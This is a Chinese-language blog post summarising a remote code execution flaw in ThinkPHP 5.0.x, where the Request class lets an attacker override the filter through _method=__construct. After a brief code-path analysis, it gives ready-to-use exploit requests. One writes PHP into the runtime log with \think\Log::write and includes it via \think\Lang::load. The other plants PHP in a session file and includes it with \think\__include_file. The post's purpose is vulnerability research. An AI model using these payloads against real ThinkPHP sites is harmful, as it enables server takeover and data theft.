Thinkphp5 由Request导致的RCE漏洞版本小结

一。

tp5.0.0-5.0.12

这版本是直接可以利用的,无需captcha模块。

分析:thinkphp/library/think/App.php 中的run方法:

 

filter(方法就是给$request->filter属性赋值:

 

然后默认配置的值:

 

所以也就是不管用户是否设置,这里$request->filter属性都会被重置。这里其实是一点不影响整个漏洞的。

影响漏洞的在后面:

然后执行的:app::routeCheck->Route::check(

这里route->filter属性是被赋值了。

在tp>=5.0.13的代码以后:(5.0.12以前的版本,module(方法中,没有$request->filter($config['default_filter']);代码,所以不会导致我们设置的filter属性被覆盖。)

当没有captcha模块中的路由的时候会执行:

 

 

 

当存在captcha模块的时候会执行:

 

绑定路由到控制器,方法。手册:https://www.kancloud.cn/manual/thinkphp5/118037

 

漏洞利用:

为了兼容php7 这里选择的还是包含:

1.可以利用我上面文章中的办法:log类写入日志,lang类包含。

exp:

1.
http://localhost/ThinkPHP/tp507/public/index.php?xxx=<?php phpinfo();?>
POST: _method=__construct&filter=\think\Log::write&method=name
2.
http://localhost/ThinkPHP/tp507/public/index.php?xxx=../runtime/log/202003/17.log
POST: _method=__construct&filter=\think\Lang::load&method=name

这个方法就是可能因为日志内容过大,或者别人写入了<?php 这种东西而没有闭合导致包含失败。

2.也可以利用网上说的:包含session。

exp:

1.
http://localhost/ThinkPHP/tp507/public/index.php?xxx=<?php phpinfo();?>
POST:_method=__construct&filter=\think\Session::set&method=name
还需要设置一个cookie:PHPSESSID=aaaaa
2.
http://localhost/ThinkPHP/tp507/public/index.php?xxx=../../../../Extensions/tmp/tmp/sess_aaaaa
POST:_method=__construct&filter=\think\__include_file&method=name

这个方法有个问题就是需要获取到session储存的路径,在phpinfo中可以查看。

注:这里包含的时候,包含的参数一定要在第一位,如:

get的参数始终在前面:

tp >= 5.0.13 以后的版本,只有完整版才有captcha模块,所以只影响完整版。

posted @ 2020-03-17 13:04  xiaozhiru  阅读(916)  评论(0编辑  收藏  举报